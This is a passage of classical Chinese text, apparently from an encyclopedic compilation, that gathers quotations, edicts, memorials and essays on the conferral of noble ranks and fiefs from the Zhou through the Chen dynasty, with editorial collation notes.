是 以 邻 国 交 于 齐 . 财 畜 货 殖 . 世 为 彊 国 . 管 仲 相 桓 公 . 袭 先 君 业 . 轻 重 之 变 . 南 服 彊 楚 . 而 霸 诸 侯 . 袁 子 曰 . 今 有 卿 相 之 才 . 居 三 公 之 位 . 修 其 治 政 . 以 宁 国 家 . 未 必 封 侯 也 . 今 军 政 之 法 . 斩 一 牙 门 将 者 封 侯 . 夫 斩 一 将 之 功 . 孰 与 安 宁 天 下 者 乎 . 夫 斩 一 将 之 功 者 封 侯 . 失 封 赏 之 意 也 .\n相 书 曰 . 天 中 容 半 印 . 封 侯 .\n又 曰 . 天 中 正 舀 如 刀 者 . 封 侯 .\n周 易 曰 . 我 有 好 爵 . 吾 与 尔 靡 之 .\n左 传 曰 . 齐 庄 公 为 勇 爵 . 殖 倬 郭 最 欲 与 焉 . 州 绰 曰 . 东 闾 之 役 . 臣 左 骖 迫 . 还 于 门 中 . 识 其 枚 数 . 其 可 以 与 乎 . 公 曰 . 子 为 晋 君 也 . 对 曰 . 臣 为 隶 新 .\n管 子 曰 . 爵 不 尊 . 禄 不 重 者 . 不 与 图 难 犯 危 . 以 其 道 为 未 可 以 求 之 也 . 是 故 先 王 制 轩 冕 . 足 以 着 贵 贱 . 不 求 其 美 . 设 爵 禄 . 足 以 守 其 服 . 不 求 其 亲 . 使 君 子 食 于 道 . 小 人 食 于 力 .\n孟 子 曰 . 有 天 爵 . 有 人 爵 . 仁 义 忠 信 . 乐 善 不 倦 . 此 天 爵 也 . 公 卿 大 夫 . 此 人 爵 也 . 古 之 人 . 脩 其 天 爵 . 而 人 爵 从 之 . 脩 其 天 爵 . 以 要 人 爵 . 既 得 人 爵 . 而 弃 其 天 爵 . 则 惑 之 甚 者 也 .\n商 君 书 曰 . 明 主 之 所 贵 唯 爵 . 爵 赏 不 荣 . 其 民 不 急 . 列 爵 不 显 . 则 民 不 事 . 爵 易 得 . 则 民 不 贵 禄 . 赏 不 道 . 则 民 不 以 死 争 位 也 .\n又 曰 . 凡 人 主 之 所 以 劝 民 者 . 官 爵 也 . 国 之 所 以 兴 者 . 农 战 也 . 今 民 求 官 爵 . 皆 不 农 战 . 而 以 功 言 虚 道 . 此 谓 劳 民 者 . 其 国 必 削 .\n周 官 礼 曰 . 诸 公 之 地 . 封 疆 方 五 百 里 . 其 食 者 半 .\n又 曰 . 公 执 桓 圭 .\n又 曰 . 诸 侯 之 地 . 封 疆 方 四 百 里 . 其 食 者 三 之 一 .\n又 曰 . 诸 侯 诸 伯 七 命 . 其 国 家 宫 室 . 车 旗 衣 服 礼 仪 . 皆 以 七 为 节 .\n又 曰 . 侯 用 信 圭 .\n又 曰 . 诸 伯 之 地 . 封 疆 方 三 百 里 . 其 食 者 四 之 一 .\n又 曰 . 伯 用 躬 圭 .\n又 曰 . 诸 子 之 地 . 封 疆 方 二 百 里 . 其 食 者 四 之 一 .\n又 曰 . 子 男 五 命 . 其 国 家 宫 室 . 车 旌 衣 服 礼 仪 . 皆 以 五 为 节 .\n又 曰 . 子 执 谷 璧 .\n又 曰 . 诸 男 之 地 . 封 疆 方 百 里 . 其 食 者 四 之 一 .\n又 曰 . 男 执 蒲 璧 .\n百 官 表 注 曰 . 五 等 诸 公 . 周 官 . 金 章 朱 绶 . 朱 质 四 采 玄 文 . 织 百 四 十 首 . 广 尺 四 寸 . 长 一 丈 六 尺 . 朝 服 . 进 贤 三 梁 冠 . 官 品 第 二 . 地 方 七 十 五 里 . 位 视 三 公 班 次 . 邑 三 千 八 百 户 . 国 秩 绢 千 八 百 匹 . 妾 六 人 . 车 前 司 马 十 四 人 . 旅 贲 五 十 人 .\n又 曰 . 县 侯 . 汉 官 也 . 自 县 侯 而 下 . 通 号 列 侯 . 金 章 紫 绶 . 朝 服 . 进 贤 三 梁 冠 . 官 品 第 三 . 光 武 中 兴 论 功 . 封 大 功 臣 吴 汉 邓 禹 各 四 县 . 贾 复 朱 浮 三 县 . 耿 弇 等 二 十 九 人 . ○ 句 有 脱 文 .\n又 . 县 侯 有 家 丞 庶 子 之 官 . 列 侯 皆 亦 如 之 .\n汉 官 解 诂 曰 . 列 侯 . 金 印 紫 绶 . 以 赏 其 有 功 . 功 大 者 食 县 邑 . 小 者 食 乡 亭 . 得 臣 其 所 食 吏 民 . 本 为 彻 侯 . 避 武 帝 讳 曰 通 侯 . 旧 时 文 书 . 或 爵 通 侯 是 也 . 后 更 曰 列 侯 . 今 俗 人 或 都 言 诸 侯 . 乃 王 尔 . 非 此 也 . 列 侯 归 国 . 不 受 茅 土 . 不 立 宫 室 . 各 随 贫 富 .\n环 济 要 略 曰 . 爵 有 五 等 . 公 者 无 人 ○ 疑 当 作 ㄙ . 也 . 故 文 比 么 ○ 疑 当 作 北 ㄙ . 为 公 .\n又 曰 . 伯 . 把 也 . 持 政 事 也 .\n又 曰 . 子 犹 孳 孳 . 恤 下 之 称 也 .\n又 曰 . 男 . 任 也 . 任 治 事 . 受 王 命 为 君 也 .\n周 书 曰 . 能 移 于 众 . 与 百 姓 同 . 谓 之 公 .\n又 曰 . 能 树 名 生 物 . 与 天 道 俱 . 谓 之 侯 .\n谥 法 曰 . 执 应 八 方 曰 侯 .\n孝 经 援 神 契 曰 . 侯 候 也 . 所 以 守 蕃 也 .\n【 诏 】 梁 任 昉 初 封 诸 功 臣 诏 曰 . 草 昧 权 舆 . 事 深 缔 构 . 康 俗 成 务 . 义 在 庇 民 . 自 非 群 才 并 轨 . 文 武 宣 翼 . 将 何 以 启 兹 景 祚 . 弘 此 帝 图 . 或 运 筹 帷 帐 . 经 启 王 业 . 或 攻 城 略 野 . 殉 义 忘 生 . 或 股 心 爪 牙 . 折 冲 御 侮 . 忠 勤 茂 德 . 夷 险 一 致 . 并 宜 建 国 开 宇 . 蕃 屏 王 室 . 山 河 之 誓 . 永 永 无 穷 .\n【 论 】 后 魏 王 粲 爵 论 曰 . 依 律 有 夺 爵 之 法 . 此 谓 古 者 爵 行 之 时 . 民 赐 爵 则 喜 . 夺 爵 则 惧 . 故 可 以 夺 赐 而 法 也 . 今 爵 事 废 矣 . 民 不 知 爵 者 何 也 . 夺 之 民 亦 不 惧 . 赐 之 民 亦 不 喜 . 是 空 设 文 书 而 无 用 也 . 今 诚 循 爵 . 则 上 下 不 失 实 . 而 功 劳 者 劝 . 得 古 之 道 . 合 汉 之 法 . 以 货 财 为 赏 者 . 不 可 供 . 以 复 除 为 赏 者 . 租 税 损 减 . 以 爵 为 赏 者 . 民 劝 而 费 省 者 . 故 古 人 重 爵 也 .\n晋 陆 机 五 等 论 曰 . 五 等 之 制 . 始 于 黄 唐 . 郡 县 之 治 .\n创 自 秦 汉 . 得 失 成 败 . 备 在 典 谟 . 是 以 其 详 可 得 而 言 .\n夫 先 王 知 帝 业 至 重 . 天 下 至 广 . 广 不 可 以 偏 制 . 重 不 可\n以 独 任 . 任 重 必 于 借 力 . 制 广 终 乎 因 人 . 于 是 乎 立 其 封\n疆 之 典 . 财 其 亲 疏 之 宜 . 使 万 国 相 维 . 以 成 盘 石 之 固 .\n宗 庶 杂 居 . 而 定 维 城 之 业 . 知 其 为 人 不 如 厚 己 . 利 物 不\n如 图 身 . 安 上 在 于 悦 下 . 为 己 在 乎 利 人 . 是 以 分 天 下 以\n厚 乐 . 而 己 得 与 之 同 忧 . 飨 天 下 以 丰 利 . 而 我 得 与 之 共\n害 . 故 诸 侯 享 食 土 之 实 . 万 国 受 世 及 之 祚 . 夫 然 . 则 南\n面 之 君 . 各 务 其 治 . 世 治 足 以 敦 风 . 道 衰 足 以 御 暴 . 故\n彊 毅 之 国 . 不 能 擅 一 时 之 势 . 雄 俊 之 民 . 无 所 寄 霸 王 之\n志 . 降 及 亡 秦 . 弃 道 任 术 . 惩 周 之 失 . 自 矜 其 得 . 寻 斧\n始 于 所 庇 . 制 国 昧 于 弱 下 . 国 庆 独 飨 其 利 . 主 忧 莫 与 共\n害 . 虽 速 亡 趣 乱 . 不 必 一 道 . 颠 沛 之 衅 . 实 由 孤 立 . 是\n盖 思 五 等 之 小 怨 . 忘 经 国 之 大 德 . 知 陵 夷 之 可 患 . 闇 土\n崩 之 为 痛 . 汉 矫 秦 枉 . 大 启 侯 王 . 境 土 逾 溢 . 不 遵 旧 典\n. 是 以 诸 侯 阻 其 国 家 之 富 . 凭 其 士 民 之 力 . 势 足 者 反 疾\n. 土 狭 者 逆 迟 . 六 臣 犯 其 弱 纲 . 七 子 冲 其 漏 网 . 皇 祖 夷\n于 黥 徒 . 西 京 疾 于 东 帝 . 是 盖 过 正 之 灾 . 而 非 建 侯 之 累\n也 .\n毛 诗 曰 . 乃 命 鲁 公 . 俾 侯 于 东 . 锡 之 山 川 . 土 田 附 庸 .\n又 曰 . 奄 有 龟 蒙 . 遂 荒 大 东 . 至 于 海 邦 . 淮 夷 来 同 .\n史 记 曰 . 成 王 与 叔 虞 戏 . 削 桐 叶 为 珪 . 予 虞 . 曰 . 以 唐 封 汝 . 史 佚 因 言 . 请 择 日 立 叔 虞 . 成 王 曰 . 吾 与 之 戏 耳 . 史 佚 曰 . 天 子 无 戏 言 . 言 则 史 书 之 . 礼 成 之 . 乐 歌 之 . 于 是 遂 封 叔 虞 于 唐 .\n汉 书 曰 . 汉 兴 之 初 . 尊 王 子 弟 . 大 启 九 国 . 京 师 内 史 . 凡 十 五 郡 . 公 主 列 侯 . 颇 邑 其 中 . 蕃 国 大 者 . 跨 州 兼 郡 . 连 城 数 十 . 宫 室 百 官 . 同 制 京 师 . 诸 吕 之 难 . 赖 于 诸 侯 也 .\n孟 子 曰 . 象 至 不 仁 . 封 诸 有 庳 . 仁 人 之 于 其 弟 也 . 不 藏 怒 焉 . 不 宿 怒 焉 . 亲 爱 之 而 已 矣 . 亲 之 欲 其 贵 . 爱 之 欲 其 富 也 . 封 之 有 庳 者 . 富 贵 之 也 . 身 为 天 子 . 弟 为 匹 夫 . 可 谓 亲 爱 之 乎 .\n【 诏 】 魏 明 帝 诏 曰 . 古 之 帝 王 . 封 建 诸 侯 . 所 以 蕃 屏 王 室 也 . 诗 不 云 乎 . 怀 德 惟 宁 . 宗 子 维 城 . 秦 汉 继 周 . 或 强 或 弱 . 俱 失 厥 中 . 大 魏 创 业 . 诸 王 开 国 . 随 时 之 宜 . 未 有 定 制 . 非 所 以 永 为 后 法 也 . 其 改 封 诸 王 . 皆 以 郡 为 国 . 梁 任 昉 武 帝 追 封 永 阳 王 诏 曰 . 亡 兄 德 履 泞 粹 . 识 业 深 通 . 徽 声 善 誉 . 风 流 籍 甚 . 道 长 世 短 . 清 尘 缅 邈 . 感 惟 既 往 . 永 慕 恸 心 . 可 追 封 永 阳 郡 王 .\n又 追 封 丞 相 长 沙 王 诏 曰 . 夫 褒 崇 名 器 . 率 由 旧 章 . 光 昭 德 祀 . 永 世 作 则 . 亡 兄 道 被 如 仁 . 功 深 微 管 . 悬 诸 日 月 . 久 而 弥 新 . 故 能 拯 龟 玉 于 已 毁 . 导 涸 源 于 将 塞 . 今 理 运 惟 新 . 贤 戚 并 建 . 感 惟 永 远 . 触 目 崩 心 . 可 追 封 长 沙 郡 王 .\n又 追 封 衡 阳 王 桂 阳 王 诏 曰 . 亡 弟 畅 . 风 摽 秀 物 . 器 体 淹 弘 . 朱 方 之 役 . 尽 勤 王 事 . 策 出 无 方 . 物 惟 不 赏 . 亡 弟 融 . 业 行 清 简 . 风 度 闲 绰 . 蚤 优 名 辈 . 夙 广 令 闻 . 朕 应 天 绍 命 . 君 临 万 寓 . 祚 启 郇 滕 . 感 兴 鲁 卫 . 事 往 运 来 . 永 怀 伤 切 . 畅 可 追 封 衡 阳 郡 王 . 融 可 南 阳 郡 王 .\n又 封 临 川 安 兴 建 安 等 五 王 诏 曰 . 神 州 帝 城 . 冠 冕 列 岳 . 渚 宫 樊 邓 . 形 胜 是 归 . 居 中 作 卫 . 翼 宣 戎 重 . 隆 兹 宠 号 . 寔 允 旧 章 . 并 非 亲 勿 居 . 惟 贤 斯 授 . 宏 朕 之 介 弟 . 早 富 德 誉 . 董 一 蕃 政 . 缉 是 嘉 庸 . 国 礼 家 情 . 瞻 寄 隆 重 . 季 风 颖 俊 迈 . 诚 业 摽 简 . 任 居 蕃 翰 . 政 以 化 成 . 伟 体 韵 淹 穆 . 神 寓 凝 正 . 经 纶 夷 险 . 参 赞 王 业 .\n陈 徐 陵 始 兴 王 诏 曰 . 汉 祖 天 伦 . 伯 叔 追 封 . 晋 元 世 系 . 琅 邪 传 国 . 仰 惟 二 后 重 光 . 率 由 前 典 . 朕 昔 因 蕃 次 . 蒙 继 本 宗 . 分 在 要 荒 . 久 离 寒 燠 . 天 嘉 绍 祚 . 别 命 皇 枝 . 归 自 崤 函 . 礼 隔 登 献 . 每 至 霜 庭 可 履 . 瞩 垣 寝 而 怀 悲 . 风 树 鸣 条 . 望 章 陵 而 增 感 . 今 嗣 王 乖 德 . 获 罪 慈 训 . 永 言 主 奠 . 宜 自 朕 躬 . 但 国 步 时 艰 . 皇 基 务 切 . 复 奉 家 业 . 升 纂 帝 图 . 重 违 情 礼 . 言 深 哽 恸 . 可 以 第 二 皇 子 升 陵 为 始 兴 王 .\n【 策 】 汉 武 帝 使 御 史 大 夫 策 诸 子 立 闳 为 齐 王 曰 . 于 戏 小 子 闳 . 受 兹 青 社 . 朕 承 祖 考 . 道 惟 稽 古 . 建 尔 国 家 . 封 于 东 土 . 世 为 汉 蕃 辅 . 于 戏 念 哉 . 共 朕 之 诏 . 唯 命 不 于 常 . 人 之 好 德 . 克 明 显 光 . 义 之 丕 图 . 俾 为 君 子 . 无 怠 尔 心 . 允 执 其 中 .\n又 立 子 旦 为 燕 王 曰 . 小 子 旦 . 受 兹 玄 社 . 建 尔 国 家 . 封 于 北 土 .\n又 立 子 胥 为 广 陵 王 曰 . 小 子 胥 . 受 兹 赤 社 . 建 尔 国 家 . 封 于 南 土 . 战 战 兢 兢 . 乃 惠 乃 慎 . 无 侗 好 佚 . 无 迩 小 人 .\n【 章 】 魏 陈 王 曹 植 改 封 陈 王 谢 恩 章 曰 . 臣 既 弊 陋 . 守 国 无 效 . 自 分 削 黜 . 以 彰 众 诫 . 不 意 天 恩 滂 霈 . 润 泽 横 流 . 猥 蒙 加 封 . 茅 土 既 优 . 爵 赏 必 重 . 非 臣 虚 浅 . 所 宜 奉 受 . 非 臣 灰 身 . 所 能 报 塞 .\n又 封 二 子 为 公 谢 恩 章 曰 . 诏 书 寺 臣 息 男 苗 为 高 阳 乡 公 . 志 为 穆 乡 公 . 臣 伏 自 惟 . 文 无 升 堂 庙 胜 之 助 . 武 无 推 锋 接 刃 之 效 . 天 时 运 幸 . 得 生 贵 门 . 遇 以 亲 戚 . 少 荷 光 宠 . 窃 位 列 侯 . 荣 曜 当 世 . 顾 影 惭 形 . 流 汗 反 侧 . 洪 恩 罔 极 . 云 雨 增 加 . 既 荣 本 干 . 枝 叶 并 蒙 . 苗 志 小 . 既 顽 且 稚 . 猥 荷 列 爵 . 并 佩 金 紫 . 施 崇 一 门 . 惠 及 父 子 .\n齐 谢 朓 为 宣 城 公 拜 章 曰 . 惟 天 为 大 . 日 星 度 其 象 . 谓 地 盖 厚 . 河 岳 宣 其 气 . 斯 冕 旒 所 以 贞 观 . 衮 职 所 以 代 终 . 惭 下 穆 而 上 尊 . 岂 南 征 而 北 怨 . 何 以 克 咏 九 歌 . 载 宣 七 德 . 铭 彼 旗 裳 . 勒 斯 钟 鼎 .\n【 表 】 陈 思 王 曹 植 谢 初 封 安 乡 侯 表 曰 . 臣 抱 罪 即 道 . 忧 惶 恐 怖 . 不 知 刑 罪 . 当 所 限 齐 . 陛 下 哀 愍 臣 身 . 不 听 有 司 所 执 . 待 之 过 厚 . 即 日 于 延 津 受 安 乡 侯 印 绶 . 奉 诏 之 日 . 且 惧 且 悲 . 惧 于 始 违 宪 法 . 悲 于 不 慎 . 速 此 贬 退 . 上 增 陛 下 垂 念 . 下 遗 大 后 见 忧 . 臣 自 知 罪 深 责 重 . 受 恩 无 量 . 精 魂 飞 散 . 忘 躯 殒 命 . 云 云 .\n又 谢 朓 ○ 字 衍 . 封 甄 ○ 魏 志 曹 植 传 作 鄄 . 城 王 表 曰 . 臣 愚 驽 垢 秽 . 才 质 疪 下 . 过 受 陛 下 日 月 之 恩 . 不 能 摧 身 碎 首 . 以 答 陛 下 厚 德 . 而 狂 悸 发 露 . 始 干 天 宪 . 自 分 放 弃 . 抱 罪 终 身 . 苟 贪 视 息 . 无 复 睎 幸 . 不 悟 圣 恩 . 爵 以 非 望 . 枯 木 生 叶 . 白 骨 更 肉 . 非 臣 罪 戾 . 所 当 宜 蒙 . 俯 仰 惭 惶 . 五 内 战 悸 . 奉 诏 之 日 . 悲 喜 参 至 . 虽 因 拜 章 . 陈 答 圣 恩 . 下 情 未 展 .\n又 转 封 东 阿 王 谢 表 曰 . 奉 诏 . 太 皇 太 后 念 雍 丘 下 湿 少 桑 . 欲 转 东 阿 . 当 合 王 意 . 可 遣 人 按 行 . 知 可 居 否 . 奉 诏 之 日 . 伏 增 悲 喜 . 臣 以 无 功 . 虚 荷 国 恩 . 爵 尊 禄 厚 . 用 无 益 于 时 . 脂 车 秣 马 . 志 在 黜 放 . ○ 原 讹 于 . 据 冯 校 本 改 . 不 图 陛 下 . 天 父 之 恩 . 猥 宣 皇 太 后 慈 母 之 念 迁 之 . 陛 下 幸 为 久 长 计 . 圣 旨 恻 隐 . 恩 过 天 地 . 臣 在 雍 丘 . 劬 劳 五 年 . 左 右 罢 怠 . 居 业 同 定 . 园 果 万 株 . 枝 条 始 茂 . 私 情 区 区 . 实 所 重 弃 . 然 桑 田 无 业 . 左 右 贫 穷 . 食 财 糊 口 . 形 有 露 . 臣 闻 古 之 仁 君 . 必 有 弃 国 . 以 为 百 姓 . 况 乃 转 居 沃 土 . 人 从 蒙 福 . 江 海 所 流 . 无 地 不 润 . 云 雨 所 加 . 无 物 不 茂 . 若 陛 下 念 臣 入 从 五 年 之 勤 . 少 见 佐 助 . 此 枯 木 生 华 . 白 骨 更 肉 . 非 臣 之 敢 望 也 . 饥 者 易 食 . 寒 者 易 衣 . 臣 之 谓 矣 .\n吴 胡 综 请 立 诸 王 表 曰 . 受 命 之 主 . 系 天 而 王 . 建 化 垂 统 . 为 一 代 制 . 虽 礼 有 损 益 . 事 有 质 文 . 至 于 崇 建 懿 亲 . 列 土 封 爵 . 内 蕃 国 朝 . 外 镇 天 下 . 古 今 同 契 . 其 揆 一 也 . 周 室 之 兴 . 宠 秩 子 第 . 姬 姓 之 国 . 五 十 有 五 . 诸 王 子 受 国 者 渐 多 . 光 武 中 兴 . 四 海 扰 攘 . 众 诸 制 度 未 遍 . 而 九 子 受 国 . 明 章 即 位 . 男 则 封 王 . 女 为 公 主 . 故 诗 曰 . 既 受 帝 祉 . 施 于 子 孙 . 陛 下 践 阼 以 来 . 十 有 二 载 . 皇 后 无 号 . 公 主 无 邑 . 臣 下 叹 息 . 远 近 失 望 . 是 以 屡 献 愚 怀 . 依 据 典 礼 . 庶 请 具 陈 . 足 寤 圣 心 . 深 辞 固 拒 . 不 蒙 进 纳 . 恐 天 下 有 识 之 士 . 将 谓 吴 臣 闇 于 礼 制 . 不 知 陛 下 谦 以 失 之 也 . 加 今 仰 夏 . 盛 德 在 上 . 大 吴 之 庆 . 于 是 乎 始 . 开 国 建 号 . 吉 莫 大 焉 . 唯 陛 下 割 谦 谦 之 德 . 副 兆 民 之 望 . 留 臣 佑 许 . 天 下 幸 甚 .\n晋 孙 毓 贺 封 诸 侯 王 表 曰 . 臣 闻 轩 辕 二 十 五 宗 . 黄 祚 以 繁 . 姬 姓 建 国 七 十 . 周 过 其 历 . 故 御 侮 莫 如 同 德 . 伏 惟 陛 下 . 圣 哲 钦 明 . 稽 干 作 则 . 超 五 越 三 . 与 灵 协 契 . 天 祚 明 德 . 克 昌 祚 胤 . 秦 王 楚 王 淮 南 王 . 光 济 硕 美 . 冠 于 群 后 . 改 建 大 国 . 分 镇 方 岳 . 皇 太 子 皇 孙 . 并 启 土 宇 . 培 敦 潼 索 . 制 弘 往 代 . 内 翰 皇 畿 . 外 蕃 九 服 . 群 生 仰 德 . 向 风 怀 义 . 率 土 臣 妾 . 莫 不 称 庆 .\n梁 任 昉 为 萧 侍 中 拜 袭 封 表 曰 . 诏 书 拜 臣 袭 封 竟 陵 郡 王 . 臣 以 凡 庸 . 素 乏 才 植 . 皇 朝 尚 德 . 诏 爵 惟 贤 . 遂 复 出 脩 职 贡 . 人 颁 卿 士 . 但 有 道 之 守 . 海 外 重 扃 . 蕃 篱 近 甸 . 无 劳 击 柝 . 仰 阅 旧 章 . 俯 增 私 感 . 报 国 承 家 . 岂 云 万 一 .\n【 奏 】 宋 傅 亮 尚 书 八 座 封 诸 皇 弟 皇 子 奏 曰 . 臣 闻 懿 亲 广 树 . 圣 王 所 先 . 明 德 并 建 . 古 之 休 典 . 所 以 维 城 皇 代 . 盘 石 帝 基 . 内 卫 畿 服 . 外 绥 四 海 者 也 . 第 某 皇 弟 皇 子 等 . 神 姿 颖 哲 . 大 成 俱 茂 . 地 均 鲁 卫 . 德 兼 庸 贤 . 显 进 徽 号 . 启 建 疆 宇 . 弘 道 作 屏 . 光 翰 邦 家 . 并 可 封 郡 王 .\n宋 谢 庄 为 尚 书 八 座 封 皇 子 郡 王 奏 曰 . 臣 闻 桐 珪 睦 亲 .\n书 河 汾 之 策 . 赐 带 怀 贤 . 敬 东 平 之 祚 . 谅 以 训 经 终 始 .\n义 洽 垣 墉 . 第 某 皇 弟 等 . 器 彩 明 敏 . 令 识 颖 悟 . 并 宜 宪\n章 前 典 . 光 启 祚 宇 . 作 屏 王 室 . 式 雍 帝 载 . 臣 等 参 议 .\n可 封 郡 王 .\n史 记 曰 . 古 之 人 臣 . 功 有 五 品 . 以 德 立 宗 庙 . 定 社 稷 . 曰 勋 . 以 言 劳 用 力 曰 功 . 明 其 等 曰 伐 . 积 曰 阅 .\n又 曰 . 武 王 克 纣 . 太 公 之 谋 居 多 . 于 是 武 王 封 尚 父 于 齐 营 丘 . 成 王 少 时 . 管 蔡 作 乱 . 淮 夷 叛 周 . 乃 使 召 康 公 命 太 公 . 东 至 海 . 西 至 河 . 南 至 穆 陵 . 北 至 无 棣 . 五 侯 九 伯 . 实 得 征 之 . 齐 由 此 征 伐 . 大 于 诸 国 .\n又 曰 . 召 公 奭 . 与 周 同 姓 . 武 王 之 灭 纣 . 封 召 公 于 燕 . 其 在 成 王 时 . 自 陕 以 西 . 召 公 主 之 . 自 陕 而 东 . 周 公 主 之 .\n又 曰 . 鬻 熊 事 周 文 王 . 早 卒 . 当 成 王 之 时 . 举 文 武 勤 劳 之 嗣 . 乃 封 其 后 熊 绎 于 楚 .\n又 曰 . 晋 献 公 伐 霍 耿 魏 . 灭 之 . 因 以 魏 封 毕 万 为 大 夫 . 卜 偃 曰 . 毕 万 之 后 必 大 . 万 . 盈 数 也 . 魏 . 大 名 也 . 以 是 始 赏 . 天 启 之 也 .\n又 曰 . 陈 完 奔 齐 . 懿 仲 欲 妻 之 . 卜 之 吉 . 曰 . 是 谓 凤 皇 于 飞 . 和 鸣 锵 锵 . 有 妫 之 后 . 将 育 于 姜 . 五 世 其 昌 . 并 于 正 卿 . 八 世 之 后 . 莫 之 与 京 . 卒 妻 之 . 完 卒 . 谥 为 敬 仲 . 六 世 而 至 田 常 . 田 常 弑 简 公 . 立 简 公 弟 为 平 公 . 乃 割 齐 安 平 以 东 . 为 己 封 邑 . 始 大 于 齐 .\n汉 书 曰 . 汉 五 年 . 克 项 . 天 下 乃 平 . 始 论 功 . 侯 者 百 四 十 有 三 人 . 时 人 民 散 亡 . 大 侯 不 过 万 户 . 封 爵 之 誓 曰 . 使 黄 河 如 带 . 太 山 如 砺 . 于 是 申 以 丹 书 之 信 . 重 以 白 马 之 盟 . 藏 诸 宗 庙 . 副 在 有 司 .\n又 曰 . 陈 平 凡 六 出 奇 计 . 辄 益 封 . 凡 六 益 家 .\n又 曰 . 高 祖 封 项 伯 等 四 人 为 列 侯 . 赐 姓 刘 氏 .\n又 曰 . 项 羽 曰 . 吾 闻 汉 购 我 头 千 金 . 邑 万 户 . 吾 为 公 得 之 . 乃 自 刭 . ○ 原 讹 钊 . 据 冯 校 本 改 . 王 翳 取 其 头 . 扬 喜 吕 马 童 郎 中 吕 胜 杨 武 . 各 得 一 体 . 故 分 其 地 以 封 五 人 . 皆 列 侯 .\n东 观 汉 记 曰 . 上 谓 耿 丹 曰 . 今 关 东 故 王 国 . 虽 数 . ○ 太 平 御 览 二 百 数 下 有 县 字 . 不 过 栎 阳 万 户 邑 . 夫 富 贵 不 归 故 乡 . 如 衣 绣 夜 行 . 故 以 封 卿 尔 .\n又 封 窦 融 曰 . 率 厉 五 郡 积 ○ 东 观 汉 记 作 精 . 兵 . 羌 胡 毕 至 . 兵 不 血 刃 . 而 虏 土 崩 瓦 解 . 功 既 大 矣 . 笃 意 分 明 . 断 之 不 疑 . 吾 甚 嘉 之 . 其 以 六 安 ○ 东 观 汉 记 二 字 无 . 安 丰 阳 泉 蓼 安 风 四 县 . 封 融 为 安 丰 侯 .\n又 曰 . 三 辅 豪 杰 . 入 长 安 . 攻 未 央 宫 . 庚 戌 . 杀 莽 于 渐 台 . 东 海 公 宾 就 得 其 首 . 传 诣 宛 . 封 滑 侯 . 又 曰 . 班 超 定 西 域 五 十 余 国 . 乃 封 超 为 定 远 侯 .\n魏 志 曰 . 夏 侯 惇 . 文 帝 追 思 惇 功 . 欲 使 子 孙 毕 侯 . 分 邑 千 户 . 赐 惇 七 十 二 孙 . 皆 关 内 侯 . 惇 弟 廉 . 及 子 楙 . 素 列 侯 .\n又 . 曹 真 . 字 子 丹 . 以 功 封 邵 陵 侯 . 曹 真 少 与 宗 人 曹 遵 . 乡 人 朱 赞 . 并 事 太 祖 . 早 亡 . 真 愍 之 . 乞 分 食 邑 . 封 遵 等 子 . 曰 . 大 司 马 有 叔 向 抚 孤 之 仁 . 晏 平 久 要 之 分 . 听 分 赐 遵 等 子 爵 关 内 侯 . 及 真 薨 . 明 帝 悉 封 真 五 子 皆 列 侯 .\n又 曰 . 太 祖 表 封 荀 彧 为 万 岁 亭 侯 . 太 祖 又 与 彧 书 曰 . 君 之 相 匡 弼 . 君 之 相 为 举 人 . 君 之 相 与 建 计 . 君 之 相 密 谋 . 亦 已 多 矣 . 大 功 未 必 野 战 也 . 十 二 年 . 复 增 邑 . 合 二 千 户 .\n又 曰 . 大 祖 表 封 荀 攸 曰 . 前 后 克 敌 . 皆 攸 之 谋 也 . 于 是 封 攸 陵 树 亭 侯 . 又 曰 . 太 祖 自 柳 城 还 . 过 攸 舍 . 称 攸 前 后 谋 曰 . 昔 高 祖 使 张 子 房 . 自 择 齐 三 万 户 . 今 孤 亦 欲 君 自 择 所 封 .\n又 曰 . 郭 嘉 . 字 奉 孝 . 冀 州 平 . 封 洧 阳 亭 侯 . 及 薨 . 太 祖 表 曰 . 良 策 未 决 . 嘉 轨 成 之 . 平 定 天 下 . 谋 功 为 高 宜 增 邑 . 并 前 千 户 .\n又 曰 . 任 峻 . 字 伯 远 . 为 典 农 中 郎 . 大 兴 屯 田 . 军 国 致 饶 . 大 祖 以 峻 功 高 . 表 封 都 亭 侯 .\n又 曰 . 朱 灵 . 字 文 博 . 封 鄃 侯 . 文 帝 曰 . 将 军 佐 命 先 帝 . 威 过 方 邵 . 平 王 所 志 . 愿 勿 难 言 . 灵 谢 曰 . 高 唐 宿 所 愿 . 乃 更 封 高 唐 侯 .\n【 诏 】 后 汉 献 帝 诏 . 敕 镇 东 将 军 领 兖 州 牧 费 亭 侯 故 特 进 . 显 授 上 将 . 鈇 钺 之 任 . 复 食 旧 土 . 双 金 之 宠 . 董 统 一 州 . 委 成 之 重 . 荣 曜 昭 示 . 亦 以 优 崇 . 投 节 效 命 . 自 百 之 秋 也 .\n又 诏 书 拜 镇 东 将 军 袭 费 亭 侯 曹 操 . 业 履 忠 贞 . 辅 干 王 室 . 顷 遭 凶 暴 . 海 内 离 析 . 操 执 义 讨 截 黄 巾 . 为 国 出 命 . 夫 禄 以 赏 恭 . 罚 以 绌 否 . 今 以 操 为 镇 东 将 军 . 领 兖 州 牧 . 袭 父 费 亭 侯 嵩 爵 . 并 印 绶 符 策 .\n魏 文 帝 册 孙 权 太 子 登 为 东 中 郎 封 侯 文 曰 . 盖 河 洛 写 天 意 . 符 谶 述 圣 心 . 昭 晰 着 明 . 与 天 谈 也 . 故 易 曰 . 河 出 图 . 洛 出 书 . 圣 人 则 之 . 孙 将 军 归 心 国 朝 . 忠 亮 之 节 . 同 功 佐 命 . 而 其 子 当 为 魏 将 军 . 着 在 图 谶 . 犹 汉 光 武 受 命 . 李 氏 为 辅 . 王 梁 孙 咸 . 并 见 符 纬 也 . 斯 乃 皇 天 启 佑 大 魏 . 永 令 孙 氏 仍 世 为 佐 . 其 以 登 为 东 中 郎 将 . 封 县 侯 万 户 . 昔 周 嘉 公 旦 . 祚 流 七 胤 . 汉 礼 萧 何 . 一 门 十 侯 . 今 孙 将 军 亦 当 如 斯 . 若 夫 长 平 之 荣 . 安 丰 之 宠 . 方 斯 蔑 如 . 陈 徐 陵 进 武 帝 为 长 城 公 诏 曰 . 德 懋 懋 官 . 功 懋 懋 赏 . 皇 王 盛 则 . 所 谓 元 龟 . 司 空 公 南 徐 州 刺 史 长 城 县 开 国 侯 讳 . 志 怀 夤 亮 . 风 度 弘 远 . 体 文 经 武 . 明 允 笃 诚 . 曩 者 率 五 岭 之 彊 兵 . 诛 四 海 之 雠 敌 . 固 以 勒 功 彝 鼎 . 书 勋 太 常 . 克 定 京 师 . 勤 劳 自 